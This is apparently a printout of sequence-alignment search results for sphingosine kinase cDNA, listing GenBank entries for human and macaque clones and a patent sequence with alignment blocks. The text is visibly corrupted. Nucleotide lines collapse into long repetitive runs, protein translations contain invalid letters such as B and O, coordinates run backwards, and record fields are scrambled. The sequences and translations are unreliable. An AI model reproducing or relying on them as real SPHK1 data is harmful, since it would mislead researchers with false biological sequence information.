 Oy 501 AGCAGGCTCTGGCAACGCGCTGGAGCTTCCCTTGAACCATTTCTGGCTATGAGAGGT 560
 Db 749 AGCAGGCTCTGGCAACGCGCTGGAGCTTCCCTTGAACCATTTCTGGCTATGAGAGGT 808
 Oy 561 CACCAATGAAGACTCTGACCACTGACCACTATGTGTGCGCGCGCGCGGTGCTGAC 620
 Db 809 CACCAATGAAGACTCTGACCACTGACCACTATGTGTGCGCGCGCGGTGCTGAC 868
 Oy 621 CATGAACCTGCTGTCTGACACAGCGCTTCGGGCGTGCCTTCTCTGTGCTCAGCCT 680
 Db 869 CATGAACCTGCTGTCTGACACAGCGCTTCGGGCGTGCCTTCTCTGTGCTCAGCCT 928
 Oy 681 GGGCGGGGCTTCACTGCTGATGTGACCTTGAAGAGTATTAAGTATGGGCTTCGGGGA 740
 Db 929 GGGCGGGGCTTCACTGCTGATGTGACCTTGAAGAGTATTAAGTATGGGCTTCGGGGA 988
 Oy 741 GATGGGCTCACTGGGCACTTCTGCTGCTGACCGCTGCGCACCTACCGGCGCG 800
 Db 989 GATGGGCTCACTGGGCACTTCTGCTGCTGACCGCTGCGCACCTACCGGCGCG 1048
 Oy 801 ACTGGCTACCTCCCTGTAGAGAGAGTGGGTTTCAAGACACCTGCTCCCGCTTGGGT 860
 Db 1049 ACTGGCTACCTCCCTGTAGAGAGAGTGGGTTTCAAGACACCTGCTCCCGCTTGGGT 1108
 Oy 861 CCAGCAGGCGCGGTGATGACACACCTGCTGCTGAGAGAGAGGCGCTTCCACTG 920
 Db 1109 CCAGCAGGCGCGGTGATGACACACCTGCTGCTGAGAGAGAGGCGCTTCCACTG 1168
 Oy 921 GCAGGCTGCGCGGAGAGACTTGTGCTGCTGAGAGAGGCTGCTGCTGCTGCTGCTG 980
 Db 1169 GCAGGCTGCGCGGAGAGACTTGTGCTGCTGAGAGAGGCTGCTGCTGCTGCTGCTG 1228
 Oy 981 CAGTGAAGATGTTTGTGCTGACACAGGCGCGGTGCTGCTGCTGCTGCTGCTGCTGCT 1040
 Db 1229 CAGTGAAGATGTTTGTGCTGACACAGGCGCGGTGCTGCTGCTGCTGCTGCTGCTGCT 1288
 Oy 1041 CGTGGCGGCGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1100
 Db 1289 CGTGGCGGCGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1348
 Oy 1101 CAGGCATATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGAT 1160
 Db 1349 CAGGCATATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGAT 1408

Oy 1161 GGAGCCCAAGAGTGGGAAAGGTGTGTTGACAGTGGATGGGAAATGATGTAGCCAGGC 1220
 Db 1409 GGAGCCCAAGAGTGGGAAAGGTGTGTTGACAGTGGATGGGAAATGATGTAGCCAGGC 1468
 Oy 1221 CGTGCAGGCGCAGGTGACACCAACTCTTGTGATGCTGACGCGGTGCTGAGGCGCC 1280
 Db 1469 CGTGCAGGCGCAGGTGACACCAACTCTTGTGATGCTGACGCGGTGCTGAGGCGCC 1528
 Oy 1281 GCGCAGCTGGAAAGCCCGCAGAGTGGCCACCGCCAGAAAGAGCCCTTATGACCCCTGGCG 1340
 Db 1529 GCGCAGCTGGAAAGCCCGCAGAGTGGCCACCGCCAGAAAGAGCCCTTATGACCCCTGGCG 1588
 Oy 1341 CGCTGTGCTTGTAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1400
 Db 1589 CGCTGTGCTTGTAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1648
 Oy 1401 TCCACAGCTCTGTTGGGGTGGAGAGACTCTCTGAGAAAGGAGTGAAGAGTGAAGCT 1460
 Db 1649 TCCACAGCTCTGTTGGGGTGGAGAGACTCTCTGAGAAAGGAGTGAAGAGTGAAGCT 1708
 Oy 1461 ATGCTTTGGGGGAGACAGCCAGATGAATGATCTGGGTGAGAGCCAGCTGCTGGCGCC 1520
 Db 1709 ATGCTTTGGGGGAGACAGCCAGATGAATGATCTGGGTGAGAGCCAGCTGCTGGCGCC 1768
 Oy 1521 AGCTGCTATGTAGAGCTTCTGATGTTGTTCTGAGAACCCCAACCCCAAGCAATGCA 1580
 Db 1769 AGCTGCTATGTAGAGCTTCTGATGTTGTTCTGAGAACCCCAACCCCAAGCAATGCA 1828
 Oy 1581 AATTAAGTCAATTCCTCA 1598
 Db 1829 AATTAAGTCAATTCCTCA 1846

RESULT 9
 AK095578
 LOCUS
 DEFINITION
 Homo sapiens cDNA FLJ38259 fis. clone FCBP3001302, highly similar
 to Homo sapiens sphingosine kinase (SPHK1) mRNA.
 ACCESSION
 AK095578
 VERSION
 GI:21754862
 KEYWORDS
 oligo capping; fis (full insert sequence).
 SOURCE
 Homo sapiens fetal brain cDNA to mRNA, clone_11b:FCBP3
 clone:FCBP3001302.
 ORGANISM
 Homo sapiens
 Eukaryota; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
 REFERENCE
 1
 Kawakami, B., Sugiyama, A., Takemoto, M., Sugiyama, T., Irie, R.,
 Otsuki, T., Sato, H., Ota, T., Wakamatsu, A., Ishii, S., Yamamoto, J.,
 Isono, Y., Kawai-Hio, Y., Saito, K., Nishikawa, T., Kimura, K.,
 Yamashita, H., Matsuo, K., Nakamura, Y., Sekine, M., Kikuchi, H.,
 Kanda, K., Wagatsuma, M., Murakawa, K., Kanehori, K.,
 Takahashi-Fujii, A., Oshima, A., Suzuki, Y., Sugano, S., Nagahara, K.,
 Masuhara, Y., Nagai, K., and Isogai, T.
 NEDO human cDNA sequencing project
 TITLE
 NEDO human cDNA sequencing project
 JOURNAL
 Unpublished
 2 (bases 1 to 2502)
 REFERENCE
 Isogai, T. and Yamamoto, J.
 AUTHORS
 Direct Submission
 TITLE
 Submitted (04-JUL-2002) Takao Isogai, FLJ Project (HRI Team); 2-6-7
 JOURNAL
 Kazusa-Kamatari, Kisarazu, Chiba 292-0812, Japan
 (E-mail: genomics@hri.co.jp, Tel: 81-438-52-3975, Fax: 81-438-52-3986)
 COMMENT
 NEDO human cDNA sequencing project supported by Ministry of
 Economy, Trade and Industry of Japan, cDNA full insert sequencing:
 Research Association for Biotechnology (RAB); cDNA library
 construction: Helix Research Institute (HRI) (supported by Japan
 Key Technology Center etc.); 5'- & 3'-end one pass sequencing: RAB,
 HRI, and Biotechnology Center, National Institute of Technology and
 Evaluation; clone selection for full insert sequencing: HRI and
 RAB; annotation: HRI and RAB.
 FEATURES
 source
 1. 2502
 Location/Qualifiers

```
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="FCB3F3001302"
/tissue_type="brain"
/clone_id="FCB3F3"
/dev_stage="fetal"
/note="Cloning vector: PME18SFL3"

BASE COUNT      404 a      803 c      835 g      460 t

ORIGIN

Query Match      86.6%; Score 1385; DB 9; Length 2502;
Best Local Similarity 98.6%; Pred. No. 2.2e-234;
Matches 1397; Conservative 0; Mismatches 20; IndeIs 0; Gaps 0;

OY      182 CAGGGGCGGCCCCCGGGGCTGCTCCCGGCGCCCTGCGGCTGCTGCTGTAAC 241
DB      1085 CAGGGGCGGCCCCCGGGGCTGCTCCCGGCGCCCTGCGGCTGCTGCTGTAAC 1144
OY      242 CGCGGGGCGGCAAGGCGCTTGACGCTCTTCGAGTACAGTGCAGGCCCTTTGG 301
DB      1145 CGCGGGGCGGCAAGGCGCTTGACGCTCTTCGAGTACAGTGCAGGCCCTTTGG 1204
OY      302 CTGAGGCTGAATCTCTTCAAGCTGATGCTACAGGCGGCGGGAACCGCGGAGC 361
DB      1205 CTGAGGCTGAATCTCTTCAAGCTGATGCTACAGGCGGCGGGAACCGCGGAGC 1264
OY      362 TGGTCCGCTCGGAGAGCTGGGCGCTGGGACGCTCTGCTGCTGCTGAGAGCGGC 421
DB      1265 TGGTCCGCTCGGAGAGCTGGGCGCTGGGACGCTCTGCTGCTGCTGAGAGCGGC 1324
OY      422 TGATGACAGAGTGTGTGAAGGAGCTCATGAGAGCGGCTGACAGGAGAGCGGAGTCA 481
DB      1325 TGATGACAGAGTGTGTGAAGGAGCTCATGAGAGCGGCTGACAGGAGAGCGGAGTCA 1384
OY      482 AGCCCTGTGTAGCTCCAGCAGGCTGTGGCAACGCGCTGGACGCTTCTTGAACATT 541
DB      1385 AGCCCTGTGTAGCTCCAGCAGGCTGTGGCAACGCGCTGGACGCTTCTTGAACATT 1444
OY      542 ATGCTGGCTATGAGAGTACCAATGAAGACTCTCTACCACTGACGCTATTGCTGT 601
DB      1445 ATGCTGGCTATGAGAGTACCAATGAAGACTCTCTACCACTGACGCTATTGCTGT 1504
OY      602 GCCGCGGCTGTGACCACTGAAGCTGTCTCTGACAGCGCTTCCGGGCGTGGCGCT 661
DB      1505 GCCGCGGCTGTGACCACTGAAGCTGTCTCTGACAGCGCTTCCGGGCGTGGCGCT 1564
OY      662 GCTTCTGTGTGCTAGCTGGCTGGGCTTCTTCTGATGTGAGACCTAGAGTGTATA 721
DB      1565 TCTTCTGTGTGCTAGCTGGCTGGGCTTCTTCTGATGTGAGACCTAGAGTGTATA 1624
OY      722 AGTATCGGCTGTGGGGAGATGCGCTTCACTCTGTGGCACTTCTGCTGGGAGGCC 781
DB      1625 AGTATCGGCTGTGGGGAGATGCGCTTCACTCTGTGGCACTTCTGCTGGGAGGCC 1684
OY      782 TGGCAGCTTACCGCGGCGGAGTGGCTTACCTCTCTGTGAGAGAGTGGGTTTCAAGAC 841
DB      1685 TGGCAGCTTACCGCGGCGGAGTGGCTTACCTCTCTGTGAGAGAGTGGGTTTCAAGAC 1744
OY      842 CTGCTTCCCGGCTGTGTGCTACAGAGGCGCGGTAGATGACACCTGTGCTGCTGAGG 901
DB      1745 CTGCTTCCCGGCTGTGTGCTACAGAGGCGCGGTAGATGACACCTGTGCTGCTGAGG 1804
OY      902 AGCAGGCTGCTTCTACAGAGTGTGGTCCGAGAGAGACTTGTGCTAGTCCGAGC 961
DB      1805 AGCAGGCTGCTTCTACAGAGTGTGGTCCGAGAGAGACTTGTGCTAGTCCGAGC 1864
OY      962 TGGTCACTGCGACCTGGCAGATGAGATGTTTGTGACACCCATGGGCGGCTGTGAGCTG 1021
DB      1865 TGGTCACTGCGACCTGGCAGATGAGATGTTTGTGACACCCATGGGCGGCTGTGAGCTG 1924
OY      1022 GCGTCACTGCTGTTCTACAGTGGGCGGAGTGTCTGCTGCTGCTGCTGCTGCT 1081
DB      1925 GCGTCACTGCTGTTCTACAGTGGGCGGAGTGTCTGCTGCTGCTGCTGCTGCT 1984
```

```
OY      1082 TCCTGGCCATGAGAGAGGCGACGACATATGAGTATGAGTCCCTACTTGGTATATGTC 1141
DB      1985 TCCTGGCCATGAGAGAGGCGACGACATATGAGTATGAGTCCCTACTTGGTATATGTC 2044
OY      1142 CCGTGTGCTGCTTCCGCTTGGAGGCCCAAGAGTATGGAAGTGTGTTTCTAGTGTAGGG 1201
DB      2045 CCGTGTGCTGCTTCCGCTTGGAGGCCCAAGAGTATGGAAGTGTGTTTCTAGTGTAGGG 2104
OY      1202 AATTGATGTTAGGAGGCGCTGACAGGCGCAGGTGACACCAACTACTTCTGATGTCA 1261
DB      2105 AATTGATGTTAGGAGGCGCTGACAGGCGCAGGTGACACCAACTACTTCTGATGTCA 2164
OY      1262 GCGGTGCTGTGAGAGCCCGGCGGCTGAGTGAAGCCGACAGATGACACCGGCGAGAGC 1321
DB      2165 GCGGTGCTGTGAGAGCCCGGCGGCTGAGTGAAGCCGACAGATGACACCGGCGAGAGC 2224
OY      1322 CCTATGACACCCCTGGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1381
DB      2225 CCTATGACACCCCTGGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 2284
OY      1382 CCTAGGCTGACAGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1441
DB      2285 CCTAGGCTGACAGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 2344
OY      1442 GGGTGAAGAGTGGAGGCTATGCTTGGGGGAGACGCGCAGATGAAGTCCGCGGTGAG 1501
DB      2345 GGGTGAAGAGTGGAGGCTATGCTTGGGGGAGACGCGCAGATGAAGTCCGCGGTGAG 2404
OY      1502 AGCCAGCTGCTGGGCGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1561
DB      2405 AGCCAGCTGCTGGGCGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 2464
OY      1562 ACCCAGCAACCAATCCAAATGAAGTATGCCA 1598
DB      2465 ACCCAGCAACCAATCCAAATGAAGTATGCCA 2501

RESULT 10
LOCUS      HSA245504
DEFINITION Homo sapiens mRNA for sphingosine kinase (gene SPK).
ACCESSION AJ245504.1 GI:8017375
VERSION    sphingosine kinase; SPK gene.
KEYWORDS   sphingosine kinase; SPK gene.
SOURCE     Homo sapiens.
ORGANISM   Homo sapiens
REFERENCE  1 (bases 1 to 1428)
AUTHORS   Van Veldhoven, P. P. and Gijbers, S.
JOURNAL   Unpublished
REFERENCE  2 (bases 1 to 1428)
AUTHORS   Van Veldhoven, P. P.
TITLE     Direct Submission
JOURNAL   Submitted (16-AUG-1999) Van Veldhoven P. P., Molecular Cell Biology,
          Katholieke Universiteit Leuven, K.U. Leuven, Campus Gasthuisberg,
          Afd. Farmakologie, Herestraat, B-3000 Leuven, Belgium
REMARK    Revised by author (17-MAY-2000)
FEATURES
source     1..1428
            /organism="Homo sapiens"
            /db_xref="taxon:9606"
            /chromosome="17"
            /map="17q24"
            1..1146
            /gene="SPK"
            1..1145
            /gene="SPK"
            /codon_start=1
            /product="sphingosine kinase"
            /protein_id="CAB92131.1"
            /db_xref="GI:8017376"
```

```

/translation="MDPAGBQVRLVILNPNRGKKAQLQERSHVQPLIAEAI
SFLMLERHNRHRELVRSEBGLRMDALVMSGDGMHEVNGLMRPMERAIOLPL
CSLPAGSGKPLSLNHVAGYEQVNTEDLTLCRLSPMLSLHNASGLRL
PSYLSIAMPFIADYDLSEKRLRGTFLRLALRLRYRGLALPLVGRVSK
TPASPVYQGGPYDAHLVLEFPVPSHMYVPEDEFLVILHSLGSDMFAAPGR
CAAGVHMLFVYRAGVSRAMLRLFLAMEGRHMEPCRYLVYLPVAPFLERKDGCV
FAVDGELMSEAVQGVHFNTEFMVSGCEPPPSMKPQDMPEEPL"
BASE COUNT      247 a      422 c      462 g      297 t
ORIGIN
Query Match      83.9%; Score 1342.2; DB 9; Length 1428;
Best Local Similarity 98.3%; Pred. No. 8.4e-227;
Matches 1356; Conservative 0; Mismatches 23; Indels 0; Gaps 0;
OY 220 CGCGTGTGTGTGTGTGTGAACCGCGCGGCGCAAGGCGTTCGACGCTTCCGG 219
DB 37 CGCGTGTGTGTGTGTGTGAACCGCGCGGCGCAAGGCGTTCGACGCTTCCGG 96
OY 280 AGTCACGTGCAAGCCCTTTGGCTGAGCGTAATCTCTTCACGCTGATGCTACAG 339
DB 97 AGTCACGTGCAAGCCCTTTGGCTGAGCGTAATCTCTTCACGCTGATGCTACAG 156
OY 340 CGCGGGAACCAACGCGCGGAGCTGTGCGGTGCGAGGAGCTGGCGCTGAGAGCTCTG 399
DB 157 CGCGGGAACCAACGCGCGGAGCTGTGCGGTGCGAGGAGCTGGCGCTGAGAGCTCTG 216
OY 400 GTGTGATGTGTGAGAGAGCGGCTGATGACGAGGTGTGAAGGCGCTCATGAGAGCGGCT 459
DB 217 GTGTGATGTGTGAGAGAGCGGCTGATGACGAGGTGTGAAGGCGCTCATGAGAGCGGCT 276
OY 460 GACTGTGAGACCGCGCATCAAGAGCCCTGTGTAGCCCTCCAGCAGGCTGTGCGAACGCG 519
DB 277 GACTGTGAGACCGCGCATCAAGAGCCCTGTGTAGCCCTCCAGCAGGCTGTGCGAACGCG 336
OY 520 CTGCGACGCTTCCTTGAACCATTTATGTGCTATGAGCAGGTGACCAATGAGAGACTCTG 579
DB 337 CTGCGAGGCTTCCTTGAACCATTTATGTGCTATGAGCAGGTGACCAATGAGAGACTCTG 396
OY 580 ACCACGTGACGCTATGCTGTGCGCGCGGTGCTGACCAATGAGAGACTCTGCTCTG 639
DB 397 ACCACGTGACGCTATGCTGTGCGCGCGGTGCTGACCAATGAGAGACTCTGCTCTG 456
OY 640 CACACGCGCTTCGGGCGTGTGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 699
DB 457 CACACGCGCTTCGGGCGTGTGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 516
OY 700 GATGTGAGACCTGAGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 759
DB 517 GATGTGAGACCTGAGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 576
OY 760 ACCCTCTGCTGCTGTGAGACCTGTGAGACCTGTGAGACCTGTGAGACCTGTGAGACCTGTG 819
DB 577 ACCCTCTGCTGCTGTGAGACCTGTGAGACCTGTGAGACCTGTGAGACCTGTGAGACCTGTG 636
OY 820 GGAAGAGTGGTTTCAAGACACCTGCTCCCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 879
DB 637 GGAAGAGTGGTTTCAAGACACCTGCTCCCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 696
OY 880 GCACACCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 939
DB 697 GCACACCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 756
OY 940 GACTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 999
DB 757 GACTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 816
OY 1000 CCCATGGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1059
DB 817 CCCATGGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 876
OY 1060 CGTGCATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1119
DB 877 CGTGCATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 936

```

```

OY 1120 TGCCCTACTGTGTATATGTCGCCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1179
DB 937 TGCCCTACTGTGTATATGTCGCCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 996
OY 1180 GGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1239
DB 997 GGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1056
OY 1240 CCAAACTACTTGTGTATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1299
DB 1057 CCAAACTACTTGTGTATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1116
OY 1300 CAGATGCCACCGCCAGAGAGAGCCCTTATGACCCCTGTGTGTGTGTGTGTGTGTGTGTGT 1359
DB 1117 CAGATGCCACCGCCAGAGAGAGCCCTTATGACCCCTGTGTGTGTGTGTGTGTGTGTGTGT 1176
OY 1360 CTTCGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1419
DB 1177 CTTCGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1236
OY 1420 TGGAGAGACCTCTCTGAGAGAGGTGAGAGAGGTGAGAGGTGAGAGGTGAGAGGTGAGAGGT 1479
DB 1237 TGGAGAGACCTCTCTGAGAGAGGTGAGAGAGGTGAGAGGTGAGAGGTGAGAGGTGAGAGGT 1296
OY 1480 CAGATGAAGTCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1539
DB 1297 CAGATGAAGTCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1356
OY 1540 TCTAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1598
DB 1357 TCTAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1415

RESULT 11
AB046025 2015 bp mRNA linear PRI 18-JUL-2000
Macaca fascicularis brain cDNA, clone:QcCE-16602.
AB046025 GI:9280105
AB046025.1 GI:9280105
f1s (full insert sequence).
Macaca fascicularis adult cDNA to mRNA, clone_1lb:macaque brain
cDNA library QcCE clone:QcCE-16602.
ORGANISM
Macaca fascicularis
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Cercopithecoidea;
Cercopithecinae; Macaca.
REFERENCE
1 (sites)
Osada,N., Hida,M., Kusuda,J., Tanuma,R., Iseki,K., Hirai,M.,
Terao,K., Suzuki,Y., Sugano,S. and Hashimoto,K.
Isolation of full-length cDNA clones from macaque brain cDNA
libraries
Unpublished
2 (bases 1 to 2015)
Hashimoto,K., Osada,N., Hida,M., Kusuda,J. and Sugano,S.
Direct Submission
Submitted (14-JUL-2000) Katsuyuki Hashimoto, National Institute of
Infectious Diseases, Division of Genetic Resources; 23-1, Toyama
1-chome, Shinjuku-ku, Tokyo 162-8640, Japan
(E-mail: khashi@nih.go.jp, URL: http://www.nih.go.jp/yoken/genebank/,
TEL:81-3-5285-1111(ex.2120), Fax:81-3-5285-1181)
URL: http://www.nih.go.jp/yoken/genebank/
Lab Name: macaque brain cDNA library QcCE
Lab host: TOP10
Vector: pME18S-F13 (Acc.No. AB00964)
R. Site1: DraIII (CACTGTGTC)
R. Site2: DraIII (CACTGTGTC)
Description: 1st strand cDNA was primed with an oligo(dT) primer
[ATGCGCCCTTTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT]
using specific 5' and 3'primers and amplified by PCR. The PCR
product was digested with SfiI and size selection was performed to
exclude fragments <1.5kb.The SfiI-digested PCR product was cloned
into distinct DraIII sites of pME18S-F13. XhoI sites just outside

```


SOURCE Homo sapiens.
ORGANISM Homo sapiens.
REFERENCE Mammalia: Eutheria: Primates; Catarrhini; Homidae; Homo.
AUTHORS Pitson, S.M., D'Andrea, R.J., Vandeleur, L., Moretti, P.A., Xia, P.,
Gamble, J.R., Vadas, M.A. and Wattenberg, B.W.
TITLE Human sphingosine kinase: purification, molecular cloning and
characterization of the native and recombinant enzymes
Biochem. J. 350 Pt 2, 429-441 (2000)
JOURNAL 20407120
MEDLINE 10947957
REFERENCE 2 (bases 1 to 1173)
AUTHORS Pitson, S.M., D'Andrea, R.J., Vandeleur, L., Moretti, P.A.B., Xia, P.,
Gamble, J.R., Vadas, M.A. and Wattenberg, B.W.
TITLE Direct Submission
JOURNAL Submitted (29-OCT-1999) Human Immunology, IMVS, Frome Road,
Adelaide, SA 5000, Australia
FEATURES
source location/Qualifiers
1..1173
/organism="Homo sapiens"
/db_xref="taxon:9606"
/cell_type="vascular endothelial"
1..1173
/gene="SPHK"
19..1173
/gene="SPHK"
/codon_start=1
/product="sphingosine kinase"
/protein_id="A01980.1"
/db_xref="GI:909361"
translation="MDPAGRGVLPKRCVIVILNPGKGRKALDLSHVOPLAE
AITSFLMTERNRHRLVSEELGRDALVMSGDLMHRYNMEPPDETALQ
KELCSLPAGSGNALASLNHYAGYEQVNEELTNGTLLRLSPNMLSTHAGS
LRLFSVLSLAWGIADVDLESEKRYRLKEFTLGTFLRLALTRKRLALPLVGV
GSKTPASPVYQGGPDVADLVLEPVSHTVYDDEPVLALSHSLSEFAP
MGRCAQVMHLFVYRAGVSRAMLRLPLAMEGRMEYECYLYVYVPAFRLEPKG
KGRFANDSLMSSEAVQGVHNYFMVMSGVCEPPPSMKPQMPPEEPL"
BASE COUNT 188 a 349 c 390 g 246 t
ORIGIN
Query Match 71.2%; Score 1137.8; DB 9; Length 1173;
Best Local Similarity 98.1%; Pred. No. 8.9e-191;
Matches 1151; Conservative 0; Mismatches 22; Indels 0; Gaps 0;
QY 157 GAGCCGCGGTCGAGCTTATGATCCAGCGGGGCGCCCGGGGCGTCTCCCGCGGCC 216
1 GAGCCGCGGTCGAGCTTATGATCCAGCGGGGCGCCCGGGGCGTCTCCCGCGGCC 60
DB 217 TGCCGGTGTGCTGCTGAACCCGCGCGCGGCGCAAGGCGCTTGCAGCTCTTC 276
61 TGCCGGTGTGCTGCTGAACCCGCGCGCGGCGCAAGGCGCTTGCAGCTCTTC 120
DB 277 CGAGATCAGTCGACGCCCTTTTGGCTGAGGCTGGAATCTCTTCAAGCGTCACT 336
121 CGAGATCAGTCGACGCCCTTTTGGCTGAGGCTGGAATCTCTTCAAGCGTCACT 180
QY 337 GAGGCGGCGAACCGCGCGGAGCTGTCGCTGAGAGAGCTGGGCGCTGGAGCGT 396
181 GAGGCGGCGAACCGCGCGGAGCTGTCGCTGAGAGAGCTGGGCGCTGGAGCGT 240
DB 397 CTGTGTATGTCTGAGACGGCTGATGACAGAGTGGTGAACGGGCTCATGGAGCG 456
241 CTGTGTATGTCTGAGACGGCTGATGACAGAGTGGTGAACGGGCTCATGGAGCG 300
QY 457 CCTGACTGGAGACCGCATCCAGAACCCCTGTGTAGCTTCCAGAGAGCTTGGCAAC 516
301 CCTGACTGGAGACCGCATCCAGAACCCCTGTGTAGCTTCCAGAGAGCTTGGCAAC 360
DB 517 GCGCTGGAGAGCTTCTTAACCATTTATCTGCTATGACAGGTCACCAATGAGAGCTC 576
361 GCGCTGGAGAGCTTCTTAACCATTTATCTGCTATGACAGGTCACCAATGAGAGCTC 420

QY 577 CTGACCAACTGCAACCCCTATGCTGCGCGCGGCTCTACCATGACCTGCTCTCT 636
DB 421 CTGACCAACTGCAACCCCTATGCTGCGCGCGGCTCTCTACCATGACCTGCTCTCT 480
QY 637 CTGACCAAGGCTTGGGGGCTGCGCTGCTCTCTGCTGACCTTGGGCTGCTGCTCT 696
DB 481 CTGACCAAGGCTTGGGGGCTGCGCTGCTCTCTGCTGACCTTGGGCTGCTGCTCT 540
QY 697 GCTATGTGACCTAGAGATGATGATGATGATGATGATGATGATGATGATGATGAT 756
DB 541 GCTATGTGACCTAGAGATGATGATGATGATGATGATGATGATGATGATGATGAT 600
QY 757 GGCACCTTCTGCTGCGGAGCGGCTGCGGACCTACCGGCGGCTGCTGCTGCTGCT 816
DB 601 GGCACCTTCTGCGGCTGCGGAGCGGCTTGGCAGCTTACCGGCTGCTGCTGCTGCT 660
QY 817 GTAGAGAGTGGGTTTCAAGACACCGCTTCCCGCTTGTGCTGACAGAGGCGCGGTA 876
DB 661 GTAGAGAGTGGGTTTCAAGACACCGCTTCCCGCTTGTGCTGACAGAGGCGCGGTA 720
QY 877 GATGACACCTGCTGCGGACCTGAGAGAGAGTGGCTTCTGCTGACAGTGTGCTGCT 936
DB 721 GATGACACCTGCTGCGGACCTGAGAGAGAGTGGCTTCTGCTGACAGTGTGCTGCT 780
QY 937 GAGGACTTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 996
DB 781 GAGGACTTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 840
QY 997 GCAACCATGAGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1056
DB 841 GCAACCATGAGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 900
QY 1057 TCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1116
DB 901 TCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 960
QY 1117 GATGACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1176
DB 961 GATGACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1020
QY 1177 AAAGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1236
DB 1021 AAAGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1080
QY 1237 CACCCAACTACTTCTGATGATGATGATGATGATGATGATGATGATGATGATGAT 1296
DB 1081 CACCCAACTACTTCTGATGATGATGATGATGATGATGATGATGATGATGATGAT 1140
QY 1297 CAGCAGATGCGACCGCGGAGAGAGCCCTTATGA 1329
DB 1141 CAGCAGATGCGACCGCGGAGAGAGCCCTTATGA 1173
RESULT 13
AX127642 1155 bp DNA linear PAT 16-MAY-2001
LOCUS AX127642
DEFINITION Sequence 2 from Patent WO0131029.
ACCESSION AX127642
VERSION AX127642.1 GI:14134308
KEYWORDS
SOURCE human.
ORGANISM Homo sapiens
REFERENCE Mammalia: Eutheria: Primates; Catarrhini; Homidae; Homo.
AUTHORS Allen, J., Gosink, M., Melendez, A.J. and Takacs, L.
TITLE Human sphingosine kinase gene
JOURNAL Patent: WO 0131029-A2 03-MAY-2001;
WARNER-LAMBERT COMPANY (US)
FEATURES
